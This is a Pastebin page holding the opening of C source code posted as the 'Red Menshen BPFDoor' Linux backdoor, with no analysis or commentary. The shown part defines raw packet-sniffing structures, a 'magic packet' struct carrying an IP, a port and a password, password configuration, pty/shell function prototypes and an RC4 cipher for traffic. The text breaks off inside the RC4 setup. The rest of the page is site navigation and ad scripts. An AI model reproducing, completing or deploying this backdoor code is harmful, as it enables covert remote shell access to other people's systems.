<!DOCTYPE html>
<html lang="en">
<head>
    <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=5.0, user-scalable=yes" />
        <script async src="https://www.googletagmanager.com/gtag/js?id=G-S72LBY47R8"></script>
    <script>
      window.dataLayer = window.dataLayer || [];
      function gtag(){dataLayer.push(arguments);}
      gtag('js', new Date());
      gtag('config', "G-S72LBY47R8");
    </script>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Red Menshen BPFDoor Source Code(?) - Pastebin.com</title>
    <link rel="shortcut icon" href="/favicon.ico" />
    <meta name="description" content="Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time." />
    <meta property="og:description" content="Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time." />
            <meta property="fb:app_id" content="231493360234820" />
    <meta property="og:title" content="Red Menshen BPFDoor Source Code(?) - Pastebin.com" />
    <meta property="og:type" content="article" />
    <meta property="og:url" content="https://pastebin.com/kmmJuuQP" />
    <meta property="og:image" content="https://pastebin.com/i/facebook.png" />
    <meta property="og:site_name" content="Pastebin" />
    <meta name="google-site-verification" content="jkUAIOE8owUXu8UXIhRLB9oHJsWBfOgJbZzncqHoF4A" />
    <link rel="canonical" href="https://pastebin.com/kmmJuuQP" />
        <meta name="csrf-param" content="_csrf-frontend">
<meta name="csrf-token" content="EkO0JqAIVLYGMo9A8A21jD5PH3SewrYVLdqQehDcBMBoc8US-G0X_UoE4xaEOcHudwMyLM2u9VlIldYtVepq8A==">

<link href="/assets/c80611c4/css/bootstrap.min.css" rel="stylesheet">
<link href="/assets/72fc434d/dist/bootstrap-tagsinput.css" rel="stylesheet">        
<link href="/themes/pastebin/css/vendors.bundle.css?30d6ece6979ee0cf5531" rel="stylesheet">
<link href="/themes/pastebin/css/app.bundle.css?30d6ece6979ee0cf5531" rel="stylesheet">
    
<!-- 1-x2xy94pJ -->
<script type="text/javascript" src="//services.vlitag.com/adv1/?q=adf050ece17b957604b4bbfc1829059f" defer="" async=""></script><script> var vitag = vitag || {};</script>
<!-- End Valueimpression Head Script -->
<script>
     vitag.smartBannerConfig= {
          disablePosition:  "top right left",
     }
</script>
<script type="text/javascript">
        if (window.location.pathname === "/") {
            vitag = vitag || {};
            vitag.outStreamConfig = vitag.outStreamConfig || {};
            vitag.outStreamConfig.enablePC = false;
        }
    </script>
</head>
<body class="night-auto " data-pr="" data-pa="x2xy94pJ" data-sar="1" data-abd="1" data-bd="1">


<svg style="height: 0; width: 0; position: absolute; visibility: hidden" xmlns="http://www.w3.org/2000/svg">
    <symbol id="add" viewBox="0 0 1024 1024"><path fill="#ccc" d="M512 16C238 16 16 238 16 512s222 496 496 496 496-222 496-496S786 16 512 16z m288 552c0 13.2-10.8 24-24 24h-184v184c0 13.2-10.8 24-24 24h-112c-13.2 0-24-10.8-24-24v-184h-184c-13.2 0-24-10.8-24-24v-112c0-13.2 10.8-24 24-24h184v-184c0-13.2 10.8-24 24-24h112c13.2 0 24 10.8 24 24v184h184c13.2 0 24 10.8 24 24v112z"/></symbol>
    <symbol id="search" viewBox="0 0 512 512"><path fill="#ccc" d="M354.2,216c0-38.2-13-70.7-40-97.7c-27-27-59.6-40-97.7-40s-70.7,13-97.7,40s-40,59.6-40,97.7 s13,70.7,40,97.7s59.6,40,97.7,40s70.7-13,97.7-40C340.2,285.8,354.2,253.2,354.2,216z M511.5,472c0,10.2-3.7,19.5-12.1,27.9 c-8.4,8.4-16.8,12.1-27.9,12.1c-11.2,0-20.5-3.7-27.9-12.1L339.3,393.8c-37.2,26.1-78.2,38.2-122.9,38.2 c-29.8,0-57.7-5.6-83.8-16.8c-27-11.2-50.3-27-68.9-46.5s-34.4-42.8-46.5-68.9C6.1,272.8,0.5,244.8,0.5,216s5.6-57.7,16.8-83.8 c11.2-27,27-50.3,46.5-68.9s42.8-34.4,68.9-46.5C159.7,5.6,187.6,0,216.4,0s57.7,5.6,83.8,16.8c27,11.2,50.3,27,68.9,46.5 c18.6,19.5,34.4,42.8,46.5,68.9c11.2,27,16.8,54.9,16.8,83.8c0,44.7-13,85.6-38.2,122.9L499.4,444 C507.8,451.5,511.5,460.8,511.5,472z"/></g></symbol>
</svg>
<div class="wrap">

        
        
<div class="header">
    <div class="container">
        <div class="header__container">

                        <div class="header__left">
                <a class="header__logo" href="/">
                    Pastebin                </a>

                <div class="header__links h_1024">
                    
                                        <a href="/doc_api">API</a>
                    <a href="/tools">tools</a>
                    <a href="/faq">faq</a>
                                    </div>

                <a class="header__btn" href="/">
                    <span>paste</span>
                </a>

                
                <div class="header__search">
                                            <form id="w0" class="search_form" action="https://pastebin.com/search" method="get">
                            
<input type="text" id="q" class="search_input" name="q" maxlength="128" placeholder="Search...">



                            <button type="submit" class="search_btn" aria-label="Search"><svg class="icon search"><use xlink:href="#search"></use></svg></button>
                        </form>                                    </div>

            </div>

                        <div class="header__right">

                                    <div class="header_sign">
                        <a href="/login" class="btn-sign sign-in">Login</a>
                        <a href="/signup" class="btn-sign sign-up">Sign up</a>
                    </div>
                
            </div>

        </div>
    </div>

</div>
        

    <div class="container">
        <div class="content">

                        
                        
<!-- 1-x2xy94pJ -->
<div style="padding-bottom:30px; padding-top:5px;width:998px;height:290px;">
<div style="color: #999; font-size: 12px; text-align: center;">Advertisement</div>
<div class="adsbyvli" data-ad-slot="vi_1282550010"></div><script>(vitag.Init = window.vitag.Init || []).push(function(){viAPItag.display("vi_1282550010")})</script>
</div>

                                    
            
            
<link href="/themes/pastebin/css/geshi/light/c.css?694707f98000ed24d865" rel="stylesheet">

<div class="post-view js-post-view">

    <div class="error-summary js-rating-error hide"><ul><li></li></ul></div>

    
    <div class="details">
                    <div class="share h_800">
                <div data-url="https://pastebin.com/kmmJuuQP" class="share-btn facebook js-facebook-share" title="Share on Facebook!"><span>SHARE</span></div>
                <div data-url="https://pastebin.com/kmmJuuQP" class="share-btn twitter js-twitter-share" title="Share on Twitter!"><span>TWEET</span></div>
            </div>
                <div class="user-icon">
                            <img src="/cache/img/23/5/14/597580.jpg" alt="JohnGalt14">                    </div>
        <div class="info-bar">
            <div class="info-top">

                
                
                                    <h1>Red Menshen BPFDoor Source Code(?)</h1>
                            </div>
            <div class="info-bottom">

                                    <div class="username">
                                                    <a href="/u/JohnGalt14">JohnGalt14</a>
                                            </div>

                                            <a href="/pro" class="pro" title="PRO User!"></a>
                    
                                             <a href="/message/compose?to=JohnGalt14" class="message" title="Send a private message to: JohnGalt14"></a>
                                    
                <div class="date">
                    <span title="Sunday 8th of May 2022 03:53:54 AM CDT">May 8th, 2022</span>

                                    </div>

                <div class="visits" title="Unique visits to this paste">
                    13,687                </div>

                                    <div class="rating js-post-rating" data-key="kmmJuuQP" title="Rating">
                        0                    </div>
                
                <div class="expire" title="When this paste gets automatically deleted">
                    Never                </div>

                                    <div class="comments-info" title="Comments">

                        
                                                            <a href="/login?return_url=%2FkmmJuuQP%23add_comment">Add comment</a>                            
                                            </div>
                            </div>
        </div>
    </div>

    
    
                        <div class="page">
                <div class="content__text -no-padding">
                    <div class="notice -post-view">
                        <b>Not a member of Pastebin yet?</b>
                        <a href="/signup"><b><u>Sign Up</u></b></a>,
                        it unlocks many cool features!                    </div>
                </div>
            </div>
        
    
    <div class="highlighted-code">
        <div class="top-buttons">
            <div class="left">
                <a href="/archive/c" class="btn -small h_800">C</a> 29.06 KB
                                    <span title="Category">
                        | None                    </span>
                
                                        |
    <a class="btn -small -like" href="/login?return_url=%2FkmmJuuQP" title="Like" data-rating="1" data-key="kmmJuuQP">0</a>    <a class="btn -small -dislike" href="/login?return_url=%2FkmmJuuQP" title="Dislike" data-rating="-1" data-key="kmmJuuQP">0</a>                            </div>

            <div class="right">
                
                                    <a href="/raw/kmmJuuQP" class="btn -small">raw</a>
                    <a href="/dl/kmmJuuQP" class="btn -small">download</a>
                    <a href="/clone/kmmJuuQP" class="btn -small h_800">clone</a>
                    <a href="/embed/kmmJuuQP" class="btn -small h_800">embed</a>
                    <a href="/print/kmmJuuQP" class="btn -small h_800">print</a>
                
                                    <a href="/report/kmmJuuQP" class="btn -small">report</a>
                
                
                            </div>
        </div>
        <div class="source c" style="font-size: px; line-height: px;">
            <ol class="c"><li class="li1"><div class="de1"><span class="co2">#include &lt;arpa/inet.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/wait.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/resource.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;stdio.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;stdlib.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;unistd.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;signal.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/types.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/stat.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;linux/termios.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/socket.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;netinet/in.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;string.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;fcntl.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;ctype.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;netdb.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/prctl.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;libgen.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;sys/time.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;time.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;linux/types.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;linux/if_ether.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;linux/filter.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;errno.h&gt;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#include &lt;strings.h&gt;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="co2">#ifndef PR_SET_NAME</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define PR_SET_NAME 15</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#endif</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw2">extern</span> <span class="kw4">char</span> <span class="sy0">**</span>environ<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="co2">#define __SID ('S' &lt;&lt; 8)</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define I_PUSH (__SID | 2)</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">struct</span> sniff_ip <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> &nbsp; ip_vhl<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> &nbsp; ip_tos<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> ip_len<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> ip_id<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> ip_off<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define IP_RF 0x8000</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define IP_DF 0x4000</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define IP_MF 0x2000</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define IP_OFFMASK 0x1fff</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> &nbsp; ip_ttl<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> &nbsp; ip_p<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> ip_sum<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">struct</span> &nbsp;in_addr ip_src<span class="sy0">,</span>ip_dst<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define IP_HL(ip) (((ip)-&gt;ip_vhl) &amp; 0x0f)</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define IP_V(ip) &nbsp;(((ip)-&gt;ip_vhl) &gt;&gt; 4)</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">typedef</span> <span class="kw4">unsigned</span> <span class="kw4">int</span> tcp_seq<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">struct</span> sniff_tcp <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> th_sport<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> th_dport<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tcp_seq th_seq<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; tcp_seq th_ack<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> &nbsp; th_offx2<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_OFF(th) (((th)-&gt;th_offx2 &amp; 0xf0) &gt;&gt; 4)</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">char</span> &nbsp; th_flags<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_FIN &nbsp;0x01</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_SYN &nbsp;0x02</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_RST &nbsp;0x04</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_PUSH 0x08</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_ACK &nbsp;0x10</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_URG &nbsp;0x20</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_ECE &nbsp;0x40</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_CWR &nbsp;0x80</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co2">#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> th_win<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> th_sum<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> <span class="kw4">int</span> th_urp<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span> __attribute__ <span class="br0">&#40;</span><span class="br0">&#40;</span>packed<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">struct</span> sniff_udp <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">uint16_t</span> uh_sport<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">uint16_t</span> uh_dport<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">uint16_t</span> uh_ulen<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">uint16_t</span> uh_sum<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span> __attribute__ <span class="br0">&#40;</span><span class="br0">&#40;</span>packed<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">struct</span> magic_packet<span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">int</span> &nbsp; &nbsp;flag<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; in_addr_t &nbsp; &nbsp; &nbsp; ip<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">unsigned</span> <span class="kw4">short</span> &nbsp;port<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> &nbsp; pass<span class="br0">&#91;</span><span class="nu0">14</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span> __attribute__ <span class="br0">&#40;</span><span class="br0">&#40;</span>packed<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="co2">#ifndef uchar</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define uchar unsigned char</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#endif</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">typedef</span> <span class="kw4">struct</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; state<span class="br0">&#91;</span><span class="nu0">256</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; x<span class="sy0">,</span> y<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span> rc4_ctx<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw2">extern</span> <span class="kw4">char</span> <span class="sy0">*</span>ptsname<span class="br0">&#40;</span><span class="kw4">int</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">extern</span> <span class="kw4">int</span> grantpt<span class="br0">&#40;</span><span class="kw4">int</span> fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">extern</span> <span class="kw4">int</span> unlockpt<span class="br0">&#40;</span><span class="kw4">int</span> fd<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw2">extern</span> <span class="kw4">int</span> ioctl <span class="br0">&#40;</span><span class="kw4">int</span> __fd<span class="sy0">,</span> <span class="kw4">unsigned</span> <span class="kw4">long</span> <span class="kw4">int</span> __request<span class="sy0">,</span> ...<span class="br0">&#41;</span> __THROW<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="co2">#define TIOCSCTTY 0x540E</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define TIOCGWINSZ 0x5413</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define TIOCSWINSZ 0x5414</span></div></li>
<li class="li1"><div class="de1"><span class="co2">#define ECHAR 0x0b</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="co2">#define BUF 32768</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">struct</span> &nbsp;config <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> &nbsp; &nbsp;stime<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> &nbsp; &nbsp;etime<span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> &nbsp; &nbsp;mask<span class="br0">&#91;</span><span class="nu0">512</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> &nbsp; &nbsp;pass<span class="br0">&#91;</span><span class="nu0">14</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">char</span> &nbsp; &nbsp;pass2<span class="br0">&#91;</span><span class="nu0">14</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span> __attribute__ <span class="br0">&#40;</span><span class="br0">&#40;</span>packed<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">struct</span> config cfg<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> &nbsp; &nbsp; pty<span class="sy0">,</span> tty<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> &nbsp; &nbsp; godpid<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">char</span> pid_path<span class="br0">&#91;</span><span class="nu0">50</span><span class="br0">&#93;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">int</span> shell<span class="br0">&#40;</span><span class="kw4">int</span><span class="sy0">,</span> <span class="kw4">char</span> <span class="sy0">*,</span> <span class="kw4">char</span> <span class="sy0">*</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> getshell<span class="br0">&#40;</span><span class="kw4">char</span> <span class="sy0">*</span>ip<span class="sy0">,</span> <span class="kw4">int</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">char</span> <span class="sy0">*</span>argv0 <span class="sy0">=</span> NULL<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">rc4_ctx crypt_ctx<span class="sy0">,</span> decrypt_ctx<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> xchg<span class="br0">&#40;</span>uchar <span class="sy0">*</span>a<span class="sy0">,</span> uchar <span class="sy0">*</span>b<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; c <span class="sy0">=</span> <span class="sy0">*</span>a<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy0">*</span>a <span class="sy0">=</span> <span class="sy0">*</span>b<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="sy0">*</span>b <span class="sy0">=</span> c<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1"><span class="kw4">void</span> &nbsp; &nbsp;rc4_init <span class="br0">&#40;</span>uchar <span class="sy0">*</span>key<span class="sy0">,</span> <span class="kw4">int</span> len<span class="sy0">,</span> rc4_ctx <span class="sy0">*</span>ctx<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; index1<span class="sy0">,</span> index2<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; <span class="sy0">*</span>state <span class="sy0">=</span> ctx<span class="sy0">-&gt;</span>state<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; uchar &nbsp; i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; i <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; state<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">=</span> i<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; i<span class="sy0">++;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">while</span> <span class="br0">&#40;</span>i<span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; ctx<span class="sy0">-&gt;</span>x <span class="sy0">=</span> ctx<span class="sy0">-&gt;</span>y <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; index1 <span class="sy0">=</span> index2 <span class="sy0">=</span> <span class="nu0">0</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">do</span> <span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index2 <span class="sy0">=</span> key<span class="br0">&#91;</span>index1<span class="br0">&#93;</span> <span class="sy0">+</span> state<span class="br0">&#91;</span>i<span class="br0">&#93;</span> <span class="sy0">+</span> index2<span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xchg<span class="br0">&#40;</span><span class="sy0">&amp;</span>state<span class="br0">&#91;</span>i<span class="br0">&#93;</span><span class="sy0">,</span> <span class="sy0">&amp;</span>state<span class="br0">&#91;</span>index2<span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span></div></li>
<li class="li1"><div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index1<span class="sy0">++;</span></div></li>
